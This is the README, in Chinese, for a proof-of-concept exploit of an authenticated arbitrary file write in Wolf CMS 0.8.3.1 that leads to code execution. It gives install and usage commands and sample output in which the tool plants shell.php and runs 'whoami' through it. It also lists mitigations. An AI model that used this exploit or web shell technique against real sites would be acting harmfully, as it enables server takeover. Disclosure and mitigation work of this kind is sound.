CVE-2026-67206 - Wolf CMS <= 0.8.3.1 - 通过任意文件写入实现 RCE

本仓库包含 CVE-2026-67206 的概念验证（PoC）漏洞利用代码。

免责声明

本项目仅供教育目的和授权安全测试使用。请勿将其用于您不拥有或未经许可测试的系统。

概述

Wolf CMS 0.8.3.1 及更早版本存在任意文件写入漏洞。该漏洞允许已认证的攻击者通过 FileManagerController.php 中的 create_file() 和 save() 函数，将恶意任意文件写入 Web 根目录的 /public 目录。FileManagerController.php 中的 create_file() 函数未对文件扩展名进行验证，从而使已认证的攻击者能够写入恶意 PHP 脚本并获得远程代码执行权限。

包含源代码分析和漏洞利用演示的详细技术文章可在我的 Medium 博客上查看。

受影响版本

Wolf CMS 0.8.3.1 及所有更早版本均受影响。Wolf CMS 仓库已于 2021 年 8 月 28 日归档，不再积极维护。目前该漏洞不存在任何补丁。

环境要求

• Python 3.13.14
• Requests 2.32.5
• Beautifulsoup4 4.15.0

安装

git clone https://github.com/anirbala98/CVE-2026-67206.git
cd CVE-2026-67206/
pip install -r requirements.txt

使用方法

python exploit.py <base_url> -u <username> -p <password>
python exploit.py http://127.0.0.1:8080/ -u admin -p admin

示例

└─$ python exploit.py http://127.0.0.1:8080/ -u admin -p 12966cc814K 
[*] 正在使用提供的凭据登录...
[+] 登录成功

[*] 正在创建名为 shell.php 的文件...
[+] 文件创建成功

[*] 正在尝试将载荷写入 shell.php...
[+] 载荷写入成功！
[+] Web Shell 可通过 'cmd' 查询字符串访问，地址为 http://127.0.0.1:8080/public/shell.php
[+] 正在测试 http://127.0.0.1:8080/public/shell.php?cmd=whoami 的输出
www-data

缓解措施

• 基于白名单验证已认证用户创建文件的扩展名
• 禁止 .php、.phtml、.phar、.php5 等扩展名，除非确有必要
• 禁止在 Web 服务器根目录的上传目录中执行 PHP
• 如有可能，将创建的文件保存在其他服务器上，以最大程度降低影响

参考链接

• https://www.tenable.com/cve/CVE-2026-67206
• https://github.com/Caycon/cve-advisories/blob/main/2026/WolfCms/CVE-2026-67206.md
• https://anirbala98.medium.com/from-source-code-to-exploit-understanding-cve-2026-67206-0ad3ae08bc78